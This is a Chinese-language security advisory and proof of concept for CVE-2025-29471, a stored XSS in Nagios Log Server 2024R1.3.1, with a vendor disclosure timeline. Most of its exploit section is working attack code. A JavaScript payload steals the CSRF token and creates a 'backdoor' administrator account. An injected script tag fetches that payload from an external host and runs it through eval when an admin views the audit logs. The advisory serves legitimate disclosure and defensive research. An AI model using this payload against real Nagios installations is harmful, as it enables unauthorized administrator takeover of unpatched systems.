CVE-2025-29471

Nagios Log Server 中的存储型 XSS 漏洞（权限提升至管理员）

▶️ PoC 演示

日期：2025-04-02

漏洞作者：Seth Kraft

厂商主页：https://www.nagios.com/

厂商更新日志：https://www.nagios.com/changelog/#log-server

软件链接：https://assets.nagios.com/downloads/nagios-log-server/versions.php

受影响版本：2024R1.3.1 及以下

测试环境：Nagios Log Server 2024R1.3.1（默认配置，Ubuntu 20.04）

CWE-ID：CWE-79

基础评分：8.3（高危）

向量字符串：CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

类型：存储型跨站脚本（XSS）、权限提升

授权声明

仅供授权测试与研究之用。 请勿在您不拥有或未经明确许可的系统上测试或利用此漏洞。

描述：

Nagios Log Server 2024R1.3.1 中存在一个存储型 XSS 漏洞，允许低权限用户向其个人资料的 'email' 字段注入恶意 JavaScript。

当管理员查看审计日志时，载荷将执行，并通过未授权创建管理员账户实现权限提升。

概念验证

1.在您的外部服务器上托管 xss.js 载荷，内容如下。使用 Github 即可正常托管。

将 <target-ip> 更新为 Nagios Log Server 目标的 IP/主机名。

(function() {
  console.log("🔥[XSS] Payload Executing...🔥");

  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
  console.log("[XSS] CSRF Token:", csrfToken);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&[email protected]" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(function(data) {
    console.log("🔥[XSS] User Created Successfully!🔥");
    console.log(data);
  })
  .catch(console.error);
})();

2. 以标准（非管理员）用户身份登录 Nagios Log Server。

3. 导航至个人资料更新端点：

   http://<target-ip>/nagioslogserver/profile/update

4. 将以下载荷注入 email 字段。 将 fetch 行更新为 xss.js 所存储的 URL。

<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>

5. 等待管理员查看审计日志。JavaScript 将执行，并创建一个新的管理员账户：

Username: backdoor

Password: Password123!

6. 以 backdoor 身份登录，在 Nagios Log Server 中获得完全的管理员访问权限。

披露时间线

• 2025-02-07： 研究人员向 Nagios 报告了该漏洞
• 2025-02-14： Nagios 确认收到安全报告
• 2025-03-03： 研究人员向 Nagios 请求更新
• 2025-03-10： 研究人员向 Nagios 请求更新
• 2025-03-17： Nagios 确认该漏洞已得到处理，并计划很快发布修复
• 2025-03-19： Nagios 发布 Nagios Log Server 2024R2
• 2025-03-27： 研究人员测试并验证 Nagios Log Server 2024R2 解决了存储型 XSS 漏洞，并已告知 Nagios
• 2025-04-01： MITRE 为此存储型 XSS 漏洞保留了 CVE-2025-29471，但由于厂商未发布公开安全公告，详情仍未公开
• 2025-04-09： Nagios 发布 2024R2 修复的后续版本（2024R1.3.2），将存储型 XSS 漏洞修复向后移植至 2024R1 分支
• 2025-04-15： CVE-2025-29471 正式发布

免责声明

此项工作是在我的受雇工作之外进行的，反映了我个人在网络安全研究方面的努力。